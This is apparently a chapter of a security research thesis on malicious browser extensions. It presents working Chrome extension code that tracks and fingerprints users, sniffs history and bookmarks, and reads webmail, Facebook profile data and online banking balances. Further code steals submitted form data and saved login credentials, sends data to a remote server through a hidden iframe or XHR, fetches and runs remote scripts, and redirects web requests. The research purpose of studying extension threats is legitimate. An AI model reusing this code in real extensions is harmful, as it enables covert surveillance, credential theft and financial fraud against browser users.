We implemented a content script that embeds an image which it fetches from our remote server in every visited web page. Besides the content script, there is no need for additional permissions. We show the implementation of our content script in Code Extract 5.1. We start by creating a new image element (line 1), set its source attribute to the URL of our remote server (line 2), and finally add it to the web page's DOM (line 3) which subsequently sends a request with probably stored tracking cookies to our remote server.

```
1  var img = document.createElement('img');
2  img.setAttribute('src', REMOTE_SERVER_URL);
3  document.body.appendChild(img);
```

Code Extract 5.1: Content script that injects a tracking pixel in the current web page.

Store Identifier In Extension

If we have successfully identified the current user with other techniques, we store an unique identifier inside his instance of the extension. This simplifies his identification next time. An extension has its own local storage and Chrome even provides a cloud based storage which we use to store the identifier. Contrariwise to the web page's storage technologies such as cookies or the HTML5 local storage, the browsers Chrome, Opera, and Firefox do not provide a user interface to clear the extension storage. The user has to manually delete associated files on his hard drive.

5.1.2 Fingerprinting

Previously described methods for tracking a user identify him based on some data which was intentionally stored on the user's system. Those stored identifiers are vulnerable to deletion by the user. A study from 2010 showed that a browser reveals many browser- and computer-specific information to web pages [15]. Collection and merging these pieces of information creates a fingerprint of the user machine. Creating a second fingerprint at a later point in time and comparing it to stored fingerprints allows to track and identify the user without the need to store an identifier on his computer in beforehand. Because the same kind of information taken from different users will probably equal, it is necessary to collect as much information as possible to create a truly unique fingerprint.

The technique of fingerprinting is nowadays mostly used by advertising companies to get a more complete view of the user and his needs than from simple tracking and by anti-fraud systems that detect if the currently used credentials or device belong to the current user and are not stolen.

There exists numerous scientific papers about fingerprinting from which we present a small subset of techniques with brief descriptions [31, 25, 27, 15, 26, 28].

- **Browser Fingerprinting** The browser provides a variety of technical information to a web page that can be used to generate a fingerprint of the currently used browser and machine. The following list shows examples of these properties and how to access them using JavaScript.

Property	JavaScript API	Example Output
System	`navigator.platform`	"Win32"
Browser Name	`navigator.userAgent`	"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0"
Browser Engine	`navigator.appName`	"Netscape"

Screen Resolution	`screen.width`
	`screen.height`
	`screen.pixelDepth`
		1366 (pixels)
		768 (pixels)
		24 (byte per pixel)

Timezone	`Date.getTimezoneOffset()`	-60 (equals UTC+1)
Browser Language	`navigator.language`	"de"
System Languages	`navigator.languages`	["de", "en-US", "en"]

- **Fonts** The fonts installed on the user's machine can serve as part of a user identification. The browser plugin *Flash* provides an API that returns a list of fonts installed on the current system (`Font.enumerateFonts(true)`)[17]. If the Flash plugin is not available in a browser, JavaScript can be used to test whether particular fonts are available to the current web page or not. This approach needs a predefined list and may not cover unpopular fonts. It is implemented by writing a string with each font on the web page. If a font is not installed, the browser uses a fall-back font to draw the text. Comparing the width and height of the drawn font to those of the fall-back font gives an evidence whether or not the font is installed.

- **Canvas** Mowery er al. have notices that the same text drawn with canvas results in a different binary representation on different computers and operating systems [26]. They suppose the reasons for these different results are due to differences in graphical processing such as pixel smoothing, or anti-aliasing, differences in system fonts, API implementations or even the physical display. The basic flow of operations consists of drawing as many different letters as possible with the web page's canvas and executing the method `toDataURL` which returns a binary representation of the drawn image.

- **History Sniffing** Reading out the user's web history can not only serve as fingerprinting method but also to simplify user tracking. An outdated but back then common approach to test if a user has visited a particular web page was to use the browser's feature to display links to already visited web pages in a different color. A JavaScript adds a list or predefined URLs to the web page's DOM as link elements and determines the displayed color. Nowadays, link elements that were queried by JavaScript calls behave like unvisited links which prevents this sniffing attack. A current approach detects the redrawing of link elements to determine if the underlying web page was visited before [31]. If a link is drawn the first time, it is drawn as an unvisited link and simultaneously a query to the browser's web history database is send. When the query returns the information that the web page behind the link was visited before, it redraws the link element. The time it takes to redraw the element can be captured with JavaScript giving the desired evidence.

- **JavaScript Benchmark Testing** The execution speed of a JavaScript engine depends on the implementation but also on the systems processor architecture and clock speed. Mowery et al. implemented a set of benchmark test suits to fingerprint different execution speeds [25]. Using these information, they could distinguish between major browser versions, operating systems and micro architectures.

Additional Fingerprinting Data

We can support the general method of browser fingerprinting by collecting technical information that the browser provides to an extension but not to a web page. These pieces of information help us to generate a more accurate fingerprint of the user's browser and system. To access the desired information, we need further permissions. Table 5.1 shows these pieces of information and the permissions needed to access them.

Permission	Information	Example
system.cpu	Number of processor kernels Processor's name Processor's capabilities	 Intel(R) Core(TM) i5-3210M CPU @ 2.50GHz "sse", "sse2", "sse3"
system.memory	Memory capacity	6501200096
gcm	An unique ID for the extension instance	
management	List of installed extensions	Extension ID and version

Table 5.1: Additional fingerprint information available to an extension.

History Sniffing

Explicitly testing if a user has visited a particular web page has the disadvantage that not all visited web pages are covered. A predefined list is necessary and often only contains popular web pages. To improve history sniffing, we use an extension to create a more complete list of the web pages that a user has visited and even capture additional information such as the time when, and the order in which different web pages were visited. For that purpose, we can either use the *history* module or a content script in every web page. Each approach has its advantages and disadvantages.

With a content script, we can either execute the above described technique of history sniffing which uses a predefined list of web pages to explicit check, or store information such as the URL and the current time every time the content script is injected into a newly loaded web page. In in Code Extract 5.1, we have already shown a content script that exactly executes this task. Our implementation of a web beacon notifies us every time the user has opened a new web page by fetching a resource from our remote server. To get the URL of the visited web page, we can simply transfer it as parameter in the web request that fetches the resource. The disadvantage of using a content script for history sniffing is, that we can not retrieve visited web pages from before the extension's installation, or while the extension is disabled. Therefore, it is not an ideal fingerprinting technique because it has to be active for some time to be effective. But, it is a simple alternative if the *history* module is not available because the extension does not have the corresponding permission.

Using the history module allows us to retrieve all visited web pages at once. It provides two for us useful methods `search` and `getVisits`. The first method allows us to retrieve the URLs of all web pages the user has visited and the second one gives us detailed information about every time the user has visited a particular URL such as the concrete time, the referring web page, and how the user has entered the web page. In comparison to using a content script, the history module gives us more pieces of information and executes at once. But the browser's history is vulnerable to deletion or disabling by the user and is disabled if the user uses an incognito window.

Code Extract 5.2 shows our implementation of an history sniffing attack using the *history* module. First, we define our main array to store retrieved information for each visited web page which we will later on transfer to our remote server (line 1). We search for visited web pages with an empty text which gives us an unfiltered result list, a start time of zero which disables the default of returning entries of the last 24 hours, and a maximum result amount of 2147483647 which is the maximum value for this field (line 2). The search method returns an array of all visited web pages. We iterate through the array (lines 3-7), store the web page's URL in a separate object (line 4), push the object to our main array (line 5), and then call a separate method to retrieve all of the user's visits for the current web page and add these to our storage object (line 6). The method takes the before defined object that contains the web page's URL as first parameter and a boolean value indicating that the current call of the method is the last call as second parameter (lines 6&9). Our method queries for all visits of a particular web page using the URL that is stored in the given storage object (line 10), and adds the returned visits to the storage object (line 11). We check if this was the last call of our method and forward our main array to our send method in this case (lines 12-14).

Bookmark Sniffing

Similar to history sniffing, we retrieve the user's bookmarks as additional information for a fingerprint but also to get information about his preferred web pages. This allows us to explicit target web pages with our attacks that the user is high likely to visit. The browser's bookmark storage is structured as a tree. Therefore, our implementation which we show in Code Extract 5.3 recursively traverses the tree and extracts valuable information. First we define our recursive method that takes a node of the bookmark tree as parameter (line 1). Inside the method, we create an empty array to

```
1  var historySniffingStorage = [];
2  chrome.history.search({ 'text': '', 'startTime': 0, 'maxResults': 2147483647 }, function(historyItems) {
3      for(var i = 0; i < historyItems.length; i++) {
4          var storage = { 'url': historyItems[i].url };
5          historySniffingStorage.push(storage);
6          addVisitItems(storage, i === historyItems.length - 1);
7      }
8  });
9  function addVisitItems(storage, isLast) {
10     chrome.history.getVisits({ 'url': storage.url }, function(visitItems) {
11         storage.visits = visitItems;
12         if(isLast) {
13             send(historySniffingStorage);
14         }
15     });
16 }
```

Code Extract 5.2: Extension code to execute a history sniffing attack.

return found values (line 2). Then we check if the node has children nodes (line 3) and in this case call our recursive method on each child and add the returned value to our array (lines 4-6). If the current node contains a title and an URL, we store these values inside our array (lines 8-10) and finally return the array (line 11). To start the recursion, we get the root of the bookmark tree from the `bookmarks` module (line 13) and forward it to our recursion method (line 14).

```
1  function getBookmarkInfos(node) {
2      var infos = [];
3      if(node.children) {
4          for(var i = 0; i < node.children.length; i++) {
5              infos = infos.concat(getBookmarkInfos(node.children[i]));
6          }
7      }
8      if(node.title && node.url) {
9          infos.push({'title': node.title, 'url': node.url, 'date': node.dateAdded});
10     }
11     return(infos);
12 }
13 chrome.bookmarks.getTree(function(root) {
14     send(getBookmarkInfos(root[0]));
15 });
```

Code Extract 5.3: Extension code to retrieve the user's bookmarks.

5.1.3 Personal User Information

Besides the before described techniques of user tracking and fingerprinting, an extension has more efficient ways to identify a user. The extension has full access to any web page that the user visits and is able to read out any information that is stored inside these pages. This allows us to even identify the person behind the web user by collection personal information such as his full name, address, or phone number.

We have extracted three categories of web applications as worthwhile targets to collect user data:

- **Social Media** Many people use real names and other personal information for their social media account. If the user visits his account, we can read out his personal data. Furthermore, we can extract information such as the user's social or business environment while the user visits the social web pages of other people he interacts with.

- **Online Banking** We can identify the current user based on his account numbers if he uses his online banking account. Moreover, we can extract his financial status which gives us information whether or not an attack on his finances is worthwhile.

- **Email Account** If the user send and receives emails on his online email account, we can read those and collect probably valuable information that he shares with his acquaintance or other people.

An extension whose purpose is to obtain particular data from a web page retrieves the targeted values directly from the web page's DOM and thus heavily depends on the DOM's structure. Due to strong differences between the structures of different web applications, we did not implement a general approach that collects the targeted information from multiple applications. Instead, we developed different implementations for different web applications and present a single implementation for each category of targets as an example.

Emails

Our implementation to read an outgoing mail from the user's email client uses a content script shown in Code Extract 5.4 and a background script shown in Code Extract 5.5. The extension needs host permissions for the email client's web page or simpler for all web pages.

In the content script shown in Code Extract 5.4, we begin by determining if the current web page is our targeted web page and check its host name and URL for that purpose (line 1). Then, we query for the send button with a complex CSS selector and add a click event to it (line 2). If the user sends the mail by clicking the send button, we will send a message to the extension's background (line 3). The message contains all recipients (line 4), carbon copy recipients (line 5), blind carbon copy recipients (line 6), and the subject (line 7). Again, we query for each element with a complex CSS selector.

```
1  if(window.location.hostname === TARGETED_HOSTNAME && window.location.href.indexOf('showWritemail') !== -1) {
2      $('div#toolbarLeft a.toolbarItem.single.normal').click(function() {
3          chrome.runtime.sendMessage({
4              'recipients': $('div#fieldTo ul li').not(':first-child').text(),
5              'cc': $('div#fieldCc ul li').not(':first-child').text(),
6              'bcc': $('div#fieldBcc ul li').not(':first-child').text(),
7              'subject': $('input#mailwriteviewInputSubject').val()
8          });
9      });
10 }
```

Code Extract 5.4: Content script to read an outgoing email.

In our background script shown in Code Extract 5.5, we await the message from our content script (line 1). Because the email's body is not stored in the same document as the rest of the email's data but in a separate iframe element, we execute a further script in the current tab to retrieve the missing information (line 2). The script checks for the correct id of the document's body element and returns the body's visible text (line 3). We specify that our script is executed in all of the web page's frames, especially the iframe with the email's body (line 4). Because multiple instances of our script are active and each returns some value, we iterate over all returned values and determine the correct one (lines 6-7). Finally, we forward the email's content to our send method (lines 9-10)

We also implemented an extension to read incoming emails respectively emails in the user's in-box. Again, we use a content script which we show in Code Extract 5.6 and a script running in the extension's background which we show in Code Extract 5.7. Additionally, the extension needs host permissions to the targeted email client.

In the content script implementation shown in Code Extract 5.6, we first determine whether the current web page is the user's in-box of his email client (line 1). Then we send a message to the extension's background if the page has loaded completely (lines 2-3). The content of the message consists of the email's subject (line 4), the sender (line 5), and the receiving date (line 6). We retrieve each value using a complex CSS selector. Because the email's body is stored inside an embedded iframe and only this iframe is reloaded if the user selects another email to view, we check if our script is

```
1   chrome.runtime.onMessage.addListener(function(message, sender) {
2       chrome.tabs.executeScript(sender.tab.id, {
3           'code': 'document.body.id === "tinymce" ? {"body": document.body.innerText} : null',
4           'allFrames': true
5       }, function(results) {
6           for(var i = 0; i < results.length; i++) {
7               if(results[i] && results[i].body) {
8                   message.body = results[i].body;
9                   send(message);
10              }
11          }
12      });
13  });
```

Code Extract 5.5: Extension code to read an outgoing mail.

currently active in the aforesaid iframe (line 10). If this case applies, we send a message to the extension's background to notify it that the user has opened another email (line 11).

```
1   if(window.location.hostname === TARGETED_HOSTNAME && window.location.href.indexOf('showReadmail') !== -1) {
2       $(document).ready(function() {
3           chrome.runtime.sendMessage({
4               'subject': $('a[name = subjectslim]').text(),
5               'from': $('button[data-iid = contactId]').attr('title'),
6               'date': $('table.messageHeaderDataTableBig td.headerDataSentDateCell').text()
7           });
8       });
9   }
10  if(window.location.hostname === TARGETED_HOSTNAME && window.self !== window.top && window.frameElement.id
11      chrome.runtime.sendMessage({'mailOpened': true});
12  }
```

Code Extract 5.6: Content script to read an email from the user's in-box.

The implementation of our background script shown in Code Extract 5.7 is similar to the implementation to read an outgoing email shown in Code Extract 5.5 due to a similar structure of the client's web pages to write and read an email. Again, we begin by listening for a message from our content script (line 1). If the message indicates that the user has opened another email (line 2), we execute our content script again in the current tab (line 3). Otherwise, the message transfers the email's content except its body. To get the email's body, we inject a small code snippet into each frame of the current tab (lines 6-8). The snippet checks if it is active in the targeted iframe and returns the text of the document's body which contains the email's body (line 7). Finally, we iterate over the result that each instance of the injected code snippet returns (line 10), check if the returned value contains the email's body (line 11), and forward the whole email's data to our send method (lines 12-13).

Social Media

We developed a content script that collects the user's personal information while he navigates through his Facebook account. We present our implementation that retrieves the user's name, the URL of his main page, the names of his friends, locations that he has shared with Facebook, and other personal information from his main page such as his date of birth, home town, or salutation.

We show our implementation in Code Extract 5.8. First, we check if the current web page belongs to Facebook (line 1). We wait until the web page has finished loading (line 2) and retrieve the user's name (line 3) and the URL of his main page (line 4) from the web page's DOM. Then we forward the collected data to our send method (line 5). Most of Facebook's content is loaded dynamically while the user navigates through the web page. To collect information from

```
1   chrome.runtime.onMessage.addListener(function(message, sender) {
2       if(message.mailOpened) {
3           chrome.tabs.executeScript(sender.tab.id, { 'file': 'content.js'});
4       }
5       else {
6           chrome.tabs.executeScript(sender.tab.id, {
7               'code': 'window.frameElement && window.frameElement.id === "messageBody" ? {"body": document.body.i
8               'allFrames': true
9           }, function(results) {
10              for(var i = 0; i < results.length; i++) {
11                  if(results[i] && results[i].body) {
12                      message.body = results[i].body;
13                      send(message);
14                  }
15              }
16          });
17      }
18  });
```

Code Extract 5.7: Extension code to read an email from the user's in-box.

dynamic content, we retrieve the desired values periodically (line 7). To retrieve all locations which the user has shared with Facebook, we first select each entry of the list that holds these information (line 8). Each contains amongst others the location's name and an image which may be a map showing the location's coordinates. We retrieve the name (line 9) and the coordinates from the image's URL (line 10). The user's Personal information on his main page are stored inside a list with key value pairs. We first select all entries of the list (line 13), and then select each pair (lines 14-15). We retrieve the user's friends from the chat's list of active friends. For that purpose, we select each entry in the list and retrieve its text (lines 17-18). Finally, we forward the collected information to our send method (line 20).

Online Banking

We implemented a content script that retrieves the user's banking account information while he visits the corresponding web page. The extension does not need additional permissions to execute the script.

We show our implementation in Code Extract 5.9. First, we check if the current web page's host equals the targeted banking portal (line 1). Then, we query for a second level heading element on the web page whose text equals *Financial status* (lines 2-4) and check if we found one in order to identify the current web page (line 5). In this case, we select each row of the table that holds the users banking accounts and iterate them (line 7). On each iteration, we collect the account's name (line 9), the account's identification number (line 10), and the account's current balance (line 11). Finally, we forward the collected information to our send method (line 14).

```
1  if(window.location.host === 'www.facebook.com') {
2      $(document).ready(function() {
3          var name = $('#fb-timeline-cover-name').text();
4          var homepage = $('div[data-click = profile_icon] a').attr('href');
5          send({ 'name': name, 'homepage': homepage });
6      });
7      setInterval(function() {
8          var locations = $('div#pagelet_timeline_medley_map div[id ^ =collection_wr] ul li').map(function() {
9              var name = $(this).find('a[target=_blank]').text();
10             var coordinates = (/markers=(.*)&/).exec($(this).find('img').attr('src'));
11             return({ 'name': name, 'coordinates': coordinates ? coordinates[1] : 'not found' });
12         }).get();
13         var personalInformation = $('ul[class ^ =\'uiList fbProfileEdit\'] > li > div').map(function(index) {
14             var entry = $(this).find('span');
15             return({ 'name': $(entry[0]).text(), 'value': $(entry[1]).text() });
16         }).get();
17         var friends = $('div.fbChatOrderedList ul li a div:nth-child(3)').map(function(){
18             return({ 'name': $(this).text() });
19         }).get();
20         send({ 'locations': locations, 'personal_information': personalInformation, 'friends': friends, });
21     }, 1000);
22 }
```

Code Extract 5.8: Content script that queries information about the user while he uses his Facebook account.

User Identification Implementation	Needed Permissions
Store identifier	`storage`
Web Beacon	content script
History Sniffing	`history`
	Content script
Bookmark Sniffing	`bookmarks`
Additional Fingerprint Data	`system.cpu`
	`system.memory`
	`gcm`
	`management`
Read emails	content script, `http://*/*`, `https://*/*`
Read facebook data	content script
Read online banking data	content script

Table 5.2: Summary of extension implementations for user identification with needed permissions.

```
1   if(window.location.hostname === TARGETED_HOSTNAME) {
2       var heading = $('h2').filter(function() {
3           return($(this).text() === 'Financial status');
4       });
5       if(heading.length !== 0) {
6           var accounts = [];
7           $('div.if5_seiten tr[class^=tablerow]').each(function() {
8               accounts.push({
9                   'account_name': $(this).find('td:nth-child(1)').text(),
10                  'account_number': $(this).find('td:nth-child(2)').text(),
11                  'account_balance': $(this).find('td:nth-child(3)').text()
12              });
13          });
14          send(accounts);
15      }
16  }
```

Code Extract 5.9: Content script that retrieves the user's banking account information.

5.2 Communication

In the previous section, we have shown our implementations to collect information about the current user to identify him. We need to transfer these data to a remote server which is in charge of the identification. Furthermore, if the identification was successful, we want to attack the user by loading the source code for some malicious behavior from the server.

In this section, we present different approaches to transfer information between the extension and a remote server and to fetch the source code for our explicit attacks. The Table 5.3 and Table 5.4 at the end of this section show summaries of our implementations and what privileges an extension needs for each.

5.2.1 Remote Communication

We often arrive at a point where we have to transfer information from the active extension to our remote server or vice versa. For example, if we want to transfer collected information for identification or stolen personal user data or we want to give the extension the command to execute an attack. We implemented several partly interchangeable components for that purpose and present them in this section.

XMLHttpRequest

Extensions are able to make a web request to a remote server with a XMLHttpRequest. If called from a content script, the XMLHttpRequest will be blocked by the Same Origin Policy if the target does not match the current web page's origin. However, the same restriction does not apply to the extension's background. If the XMLHttpRequest is executed from within the background process, any arbitrary host is allowed as target if a matching host permission is declared in the extension's manifest. For this component, the extension needs a host permission that matches any URL such as `http://*/*`, `https://*/*`, or `<all_urls>`. The JavaScript extract in Code Extract 5.10 shows a general implementation of a XMLHttpRequest.

```
1  var xhr = new XMLHttpRequest();
2  xhr.onreadystatechange = function() { handleResponse(); };
3  xhr.open('POST', REMOTE_RESOURCE_URL);
4  xhr.send(message);
5
```

Code Extract 5.10: Load remote script with a XMLHttpRequest

Iframe

Another strategy that we use to transfer information to a remote host was described by Liu et al. [23]. They analyzed possible threats in Chrome's extension model through malicious behavior and conducted that an extension can executed HTTP requests to any arbitrary host without cross-site access privileges such as host permissions. For that purpose, they use the mechanics of an *iframe* element. Its task is to display a web page within another web page. The displayed web page is defined by the URL stored inside the iframe's *src* attribute. If the URL changes, the iframe tries to fetch the web page by sending a request to the defined URL. Adding parameters to the URL allows to send data to the targeted server.

We implemented this strategy and show our content script in Code Extract 5.11. First, we create a new `iframe` element (line 1), hide it from the user by setting the iframe's CSS style property (line 2), and append it to the web page's DOM (line 3). When the iframe's URL source property changes, a subsequent URL request is initiated. This way, we can transmit data to the remote server by encoding it as URL parameter (lines 4-6).

The Same Origin Policy creates a boundary between the iframe and it's parent web page. It prevents scripts to access content that has another origin than the script itself. Therefore, if the web page inside the iframe was loaded from

```
1  var iframe = document.createElement('iframe');
2  iframe.setAttribute('style', 'display: none;');
3  document.body.appendChild(iframe);
4  function send(data) {
5      iframe.setAttribute('src', REMOTE_SERVER_URL + '?' + encodeURIComponent(data));
6  }
7
```

Code Extract 5.11: Content script that sends data to a remote server using an `iframe` element

another domain as the parent web page, the iframe's JavaScript can not access the parent web page and vice versa. This boundary does not prevent an extension to access information in an iframe. The extension can execute a content script in every web page hence in the iframe's web page, too. For that purpose, it has to enable the `all_frames` option for a content script either statically in the manifest or on a programmatically injection. This allows us to use the content script in Code Extract 5.11 for a two way communication channel. Executing a second content script inside the iframe, allows us to read information that our server has embedded inside the fetched web page.

Automatic Extension Update

In previous researches, Liu et al. implemented extensions for major browsers that can be remote controlled to execute web based attacks such as `Denial of Service` or spamming. [22, 23]. To control the extensions and send needed information such as the target for a DoS attack or a spamming text, the attacker has to communicate with his extensions. Liu et al. use the automatic update of extensions for that purpose. The browser checks for any extension update on startup and periodically on runtime. The attacker can distribute an attack by pushing a new update and the extension can read commands from a file in it's bundle. This communication channel is on one hand more stealthy than previous approaches because no web request is executed between the extension and the attacker but on the other hand a new extension version is distributed which may be the target of an analysis and it contains the message.

5.2.2 Remote Script Fetching

Because our implementation relies on fetching the source code for a particular attack from our remote server we present our implemented components in this section. Fetching a script remotely from a server is also some kind of communication. Therefore, some components that we present in this section use similar to same approaches like before presented components for communication in Section 5.2.1.

Script Element In Background

HTML pages which are bundled in the extension's installation can include script elements with a source attribute pointing to a remote server. If the extension is executed and the page is loaded, the browser automatically loads and executes the remote script. This mechanism is often used to include public scripts, for example from Google Analytics.

An extension needs to explicitly state that it wants to fetch remote scripts in its background page. The default Content Security Policy disables the loading of scripts per script element which have another origin than the extension's installation. We can relax the default CSP and enable the loading of remote scripts over HTTPS by adding a URL pattern for the desired origin.

Script Element In Content Script

If we want to execute a remote loaded script only in the scope of a web page, we can take use of the DOM API. It allows us to add a new script element to the current web page. If we set the source attribute of the script element to the URL

of our remote server, the browser will fetch and execute the script for us. We implemented the content script shown in Code Extract 5.12 which executes a remotely loaded script in any web page without the need for further permissions. The content script creates a new script element (line 1), sets the element's source attribute to the URL of our remote server (line 2), and appends it to the web page's body (line 3). The remote loaded script is immediately executed.

```
1  var script = document.createElement('script');
2  script.setAttribute('src', REMOTE_RESOURCE_URL);
3  document.body.appendChild(script);
```

Code Extract 5.12: Content script that fetches a remotely loaded script and executes it

XMLHttpRequest

In Section 5.2.1 we have shown that an extension can execute a web request to a remote server with the XMLHttpRequest API. This allows us not only to transfer information to our remote server, but also to receive any data especially the source code for our attacks. We receive the source code in text form and have to forward it to the browser's JavaScript interpreter to execute it.

Before we can execute a remote loaded script, we have to consider what the scripts objectives are. Whether it should act in the extension's background or as a content script. If the first case applies, we can use the JavaScript method `eval` to execute the remote loaded code as a JavaScript application. The use of eval is frowned upon because it is a main source of XSS attacks if not used correctly [1]. On that account, the default Content Security Policy disables the use of eval in the extension's background process. We can relax the default policy and add the key `unsafe_eval` to lift the restriction.

If we want to execute the remote loaded script as a content script, we can programmatically inject it. The method `chrome.tabs.executeScript` executes a given string as a content script in a currently open tab. The use of this function is not restricted by a permission. But to access the web page in the tab, the extension needs a proper host permission that matches the web page's URL. Because we have fetched the script with an XHR, we have already declared host permissions that match any URL to execute the request.

Mutual Extension Communication

An extension is able to communicate with another extension. This opens the possibility of a permission escalation as previously described by Bauer et al. [10]. The extension which executes the attack does not need the permissions to fetch the malicious script. Another extension can execute this task and then send the remote script to the executing extension. This allows to give both extensions less permissions and thus making them less suspicious especially for automatic analysis tools. To detect the combined malicious behavior, an analysis tool has to execute both extensions simultaneously. This is a very unconventional approach, because an analysis often targets only a single extension at a time.

A communication channel that does not need any special interface can be established over any web page's DOM. All extensions with an active content script in the same web page have access to the same DOM. The extensions which want to communicate with each other can agree upon a specific DOM element and set it's text to exchange messages. Another way to exchange messages is to use the DOM method `window.postMessage`. This method dispatches a `message` event on the web pages `window` object. Any script with access to the web page's `window` object can register to be notified if the event was dispatched and then read the message.

We implemented two extension that exchange the code of a remotely loaded script between their backgrounds using a content script and the postMessage method. The content script in Code Extract 5.13 shows our implementation to send the remotely loaded script. The content script listens for a message from its background and awaits the script (lines 1-2). Then it calls the `postMessage` method to send the script (line 3). The method awaits a pattern as second parameter that matches the origin of the receiving `window` object. In our case, the web page and all content scripts share the same `window` object, therefore a domain check is unnecessary and we us a wildcard to match any domain.
To receive the script we use the content script shown in Code Extract 5.14. First, we add a listener to get noticed if the

message event is dispatched and check if the message contains the script (line 1-2). Then we send the transfered script to the extension's background (line 3).

```
1   chrome.runtime.onMessage.addListener(function(message, sender) {
2       if(message.script) {
3           window.postMessage({script: message.script}, '*');
4       }
5   });
```

Code Extract 5.13: Content script to send script code from an extension's background to another extension.

```
1   window.addEventListener('message', function(event) {
2       if(event.data.script) {
3           chrome.runtime.sendMessage({script: event.data.script});
4       }
5   });
```

Code Extract 5.14: Content script to receive script code from another extension and forward it to its background.

Technique	Needed Privileges
XMLHttpRequest	Host permission `http://*/*, https://*/*`
Iframe	Content script
Automatic extension update	Nothing

Table 5.3: Summary of communication techniques between an extension and a remote server with needed permissions.

Technique	Needed Privileges
Script element in background	Modified CSP with remote server URL
Script element in content script	Content script
XMLHttpRequest, execute in background	`http://*/*`, `https://*/*`, modified CSP with `unsafe_eval`
XMLHttpRequest, execute in content script	`http://*/*`, `https://*/*`
Mutual extension communication	Content script, second extension

Table 5.4: Summary of techniques to load and execute a remote script with needed permissions.

5.3 Execution

We have already shown how we collect information to identify the current user, transfer it to our remote server which is in charge to evaluate the data, and how we fetch the source code of an attack in the case that the identification was successful. In this section we finally, present our concrete attack implementations.

Depending on how we have fetched the attack's source code, we need different permissions to execute the attack. In the case that the attack is executed in the scope of a web page, we need either an already active content script that executes the attack or host permissions to inject the attack as independent content script into the web page. In Table 5.5 that shows the summary of our implemented components, we declare the needed permissions for an attack in this case with *content script* which is interchangeable with proper host permissions.

In Section 5.1, we have already shown that we are able to obtain personal user information by extraction them from the web pages that the user visits. Before, we collected these information to generate a fingerprint of the current user and identify him based on this fingerprint. Of course, if we have already obtained sensitive information, we are able to misuse them and harm the user. Therefore, we also use the components presented in Section 5.1 to steal sensitive user data.

5.3.1 Steal Form Data

The user often transmits sensitive information to a web server using a form. We can intercept and steal these transmitted data using the simple content script that we show in Code Extract 5.15. First, we search for all form elements and add an listener to the form's submit event (line 1). If the user submits the form, we collect the forms values and forward them to our send method (line 2).

```
1   $('form').submit(function() {
2       send($(this).serialize());
3   });
4
```

Code Extract 5.15: Content script to intercept any form if the user submits it.

We find a more concrete application for this attack on authentication web pages. These contain a web form in which the user enters his credentials to authenticate on a web application. If we obtain his credentials, we can impersonate him on this particular application.

To intercept and steal the user's credentials from an authentication form if the user submits the form, we use the content script that we show in Code Extract 5.16. It is similar to the implementation to intercept any form which we have shown before in Code Extract 5.15. Instead of targeting any form, we search for an input element of type password inside the form element (line 2) and send the form if we found at least one (lines 3-5).

```
1   $('form').submit(function() {
2       var passwordElement = $(this).find('input').filter('[type=password]');
3       if(passwordElement.length > 0) {
4           send($(this).serialize());
5       }
6   });
```

Code Extract 5.16: Content Script that steals credentials from a login form if the user submits the form.

The browser provides a storage for entered credentials to the user. If the user has stored his credentials for a particular web page and opens this page on a later occasion, the browser will fill in the stored credentials. We implemented a further content script that steals the credentials from an authentication form after the browser has filled in the form. For that purpose, we use the implementation that we show in Code Extract 5.17. First, we search for an input field of type

password)line 1). If we find at least one (line 2), we retrieve the corresponding form element (line 3). Then, we wait for 500 milliseconds to give the browser the time to fill in the credentials (lines 4&8). If the password element contains a value (line 5), we finally forward the form with all its value to our send method (line 6).

```
1   var passwordElement = $('input[type="password"');
2   if(passwordElement.length > 0) {
3       var form = passwordElement.closest('form');
4       setTimeout(function() {
5           if(passwordElement.val() != '') {
6               send(form.serialize());
7           }
8       }, 500);
9   }
```

Code Extract 5.17: Content Script that steals credentials from a login form if the browser's password manager has filled in the credentials.

5.3.2 Manipulate Web Requests

An extension is able to manipulate outgoing web requests. We can redirect a GET request to load a malicious lookalike of the original web page, redirect a POST request to obtain probably sensitive values, or manipulate the values of a request's body to harm the user. Most requests initiates the user from within a web page. Therefore, we use a content script to manipulate URLs and form values inside a particular web page. Additionally, we use the `webRequest` module to intercept and manipulate outgoing web requests.

We implemented a content script that manipulates the value of a form field if the user submits the form and show our implementation in Code Extract 5.18. First, we search for a form element in the web page's DOM and add an listener that is triggered if the user submits the form (line 1). Then we search for an input field with the targeted name inside the form (line 3) and finally set its value (line 4).

```
1   $('form').submit(function() {
2       $(this)
3           .find('input[name=' + TARGETED_FORM_KEY + ']')
4           .val(MANIPULATED_FORM_VALUE);
5   });
```

Code Extract 5.18: Content script to manipulate a form if the user submits it.

We can change the target to which the values of a form are transmitted by manipulating the forms `action` attribute. For that purpose, we use the following code snippet: $('form').attr('action', TARGET_URL);. First, we query for a form element and then we set its action attribute to our targeted URL. Similar, we can change the target web page of a link element. For that purpose, we change the value of the link's `href` attribute. Again, we us a small code snippet: $('a[href~=' + TARGETED_URL + ']').attr('href', TARGET_URL);. This time, we query for a link element whose current URL belongs to our targeted web page and exchange the URL with the one of our malicious server. We implemented an equal attack which uses the `webRequst` module instead of a content script. This allows us to redirect any web request. To execute this attack, the extension needs the `webRequest` and `webRequestBlocking` permissions and proper host permissions for the targeted web page such as `http://*/*` and `https://*/*`.

We show our implementation in Code Extract 5.19. Initially, we register a listener that is triggered when the browser initiates a web request (line 1). Additionally, we explicit state that our listener is triggered on any HTTP or HTTPS request and that it is executed in a blocking manner which results in the request being blocked until our listener returns (line 6). Inside the listener, we check if the request's URL matches our targeted URL (line 2) and in this case return the URL of our target server as redirection URL (line 3).

```
1   chrome.webRequest.onBeforeRequest.addListener(function(details){
2       if(details.url === TARGETED_URL) {
3           return({ 'redirectUrl': TARGET_URL });
4       }
5   },
6   {urls: ['https://*/*', 'http://*/*']}, ['blocking']);
```

Code Extract 5.19: Extension code to redirect a request.

5.3.3 Execute Attack In Background

We implemented several approaches that open predefined web pages to execute particular attacks such as to steal probably stored credentials from the browser's password manager. Different strategies to hide the loading of a new web page were previously discussed by Bauer et al. [10]. We implemented three described approaches:

1. Load the targeted web page in an invisible iframe inside any web page.

2. Load the targeted web page in an inactive tab and switch back to the original web page after the attack has finished.

3. Open a new tab in an inactive browser window and load the targeted web page in this tab. Close the tab after the attack has finished.

The first approach is the least reliable one. There exists several methods to enforce that a web page is not displayed in an iframe. The standardized approach is to use the `X-Frame-Option` HTTP header which is compatible with all current browsers [30, 24]. This transfers the responsibility to enforce that the web page is not loaded into an iframe to the browser. Other approaches use JavaScript to deny the web page's functionality if it is loaded in an iframe or to move the web page's content from the iframe to the main frame.

